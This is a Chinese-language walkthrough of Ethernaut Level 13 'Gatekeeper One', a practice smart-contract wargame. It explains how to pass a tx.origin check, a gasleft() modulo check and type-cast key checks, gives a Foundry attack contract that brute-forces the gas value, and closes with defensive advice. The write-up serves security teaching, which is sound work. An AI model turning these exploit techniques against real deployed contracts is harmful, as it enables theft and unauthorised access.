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Ethernaut Level 13: Gatekeeper One - Gas计算与类型转换

news 2025/10/22 9:10:23

🎯 Ethernaut Level 13: Gatekeeper One - Gas计算与类型转换

关卡链接: Ethernaut Level 13 - Gatekeeper One
攻击类型: Gas计算 / 类型转换
难度: ⭐⭐⭐⭐☆

📋 挑战目标

通过三个 modifier 的检测，成功调用 enter 函数，成为 entrant。

Gatekeeper One Challenge

🔍 漏洞分析

要通过此关卡，我们需要调用 enter(bytes8 _gateKey) 函数，但必须绕过它的三个 modifier。让我们逐一分析。

Modifier 1: `gateOne`

modifier gateOne() {require(msg.sender != tx.origin);_;
}

这个 modifier 要求 msg.sender 不等于 tx.origin。这是一种常见的检查，用于防止直接从外部账户（EOA）调用。为了绕过它，我们必须通过一个中间合约来调用 enter 函数。这样，tx.origin 将是我们的EOA地址，而 msg.sender 将是攻击合约的地址。

Modifier 2: `gateTwo`

modifier gateTwo() {require(gasleft() % 8191 == 0);_;
}

这个 modifier 要求在执行到这里时，剩余的 gas 必须是 8191 的倍数。这是一个棘手的约束，因为 gas 的消耗会因操作码、Solidity版本和优化器设置而异。

最直接的方法是进行暴力破解：通过一个循环，在调用 enter 函数时尝试不同的 gas 值，直到找到一个满足 gasleft() % 8191 == 0 的值。

Modifier 3: `gateThree`

modifier gateThree(bytes8 _gateKey) {require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");_;
}

这个 modifier 对我们传入的 _gateKey (一个 bytes8 类型的值) 进行了三项检查：

uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
- uint64(_gateKey) 将 bytes8 转换为 uint64。
- uint32(...) 会截断，只保留低32位。
- uint16(...) 会截断，只保留低16位。
- 为了让两者相等，_gateKey 的第17位到第32位必须全为0。例如，0x????????0000????。
uint32(uint64(_gateKey)) != uint64(_gateKey)
- 这要求 _gateKey 的高32位不全为0。
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))
- uint16(uint160(tx.origin)) 获取 tx.origin 地址的最低16位。
- 这要求 _gateKey 的低32位（经过第一次检查后，其实就是低16位）必须等于 tx.origin 的低16位。

综合这三个条件，我们可以构造出 _gateKey：

将 tx.origin (即我们的EOA地址) 的低16位作为 _gateKey 的低16位。
确保 _gateKey 的17-32位为0。
在 _gateKey 的高32位中设置至少一个非零位。

💻 Foundry 实现

攻击合约代码

这是我们的Foundry测试合约，它将部署攻击合约并调用 enter 函数。

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;import "forge-std/Test.sol";
import "src/13_GatekeeperOne.sol";contract GatekeeperOneTest is Test {GatekeeperOne instance;Attack attacker;address player1;function setUp() public {player1 = vm.addr(1);instance = new GatekeeperOne();attacker = new Attack(address(instance));}function testattacker() public {vm.startPrank(player1, player1);// 使用试错法找到合适的gas值 (例如 268)attacker.attack(268);assertEq(instance.entrant(), player1);vm.stopPrank();}
}contract Attack is Test {GatekeeperOne instance;constructor(address fb) {instance = GatekeeperOne(fb);}// 构造 gateKey 并使用指定的 gas 调用 enter 函数function attack(uint256 gas) public {// 构造满足 gateThree 的 keyuint16 origin_suffix = uint16(uint160(msg.sender));bytes8 gateKey = bytes8(uint64(origin_suffix)) | 0x1000000000000000;// 使用计算好的 gas 调用目标函数instance.enter{gas: 8191 * 10 + gas}(gateKey);}// 用于暴力破解 gas 值的函数function findGas() public {uint16 origin_suffix = uint16(uint160(msg.sender));bytes8 gateKey = bytes8(uint64(origin_suffix)) | 0x1000000000000000;for (uint256 i = 0; i < 8191; i++) {try instance.enter{gas: 8191 * 10 + i}(gateKey) {console.log("Found gas:", i); // 实验得出 i = 268return;} catch {}}revert("No gas match found!");}
}

关键攻击步骤

创建攻击合约: 绕过 gateOne (msg.sender != tx.origin)。
构造 _gateKey:
- 获取 tx.origin 的低16位。
- 将其构造成一个 bytes8 值，满足 gateThree 的所有 require 条件。
暴力破解 gas:
- 编写一个循环，尝试不同的 gas 值来调用 enter 函数。
- 在 Foundry 测试中，我们可以通过 try/catch 捕获失败的调用，直到找到一个成功的 gas 值（例如，gas 偏移量为 268）。
发起攻击: 使用找到的 gas 值和构造的 _gateKey 从攻击合约中调用 enter 函数。

🛡️ 防御措施

避免复杂的 gas 检查: gasleft() 的值是不可预测的，并且会随着EVM的更新而改变。不应将其用于关键的访问控制逻辑。
简化类型转换逻辑: 过于复杂的类型转换和位操作会使代码难以理解，并可能引入意想不到的漏洞。应保持逻辑清晰、直接。
使用更安全的认证模式: 不要依赖 tx.origin 或 gas 技巧。可以考虑使用数字签名、Merkle树或预言机等更强大的验证机制。

🔧 相关工具和技术

Foundry try/catch: 用于在测试中捕获和处理预期的 revert，非常适合暴力破解 gas 等场景。
位操作 (|, &): 在构造 _gateKey 时用于精确控制字节内容。
类型转换: 深入理解Solidity中不同整数类型（uint16, uint32, uint64）和字节类型（bytes8）之间的转换规则至关重要。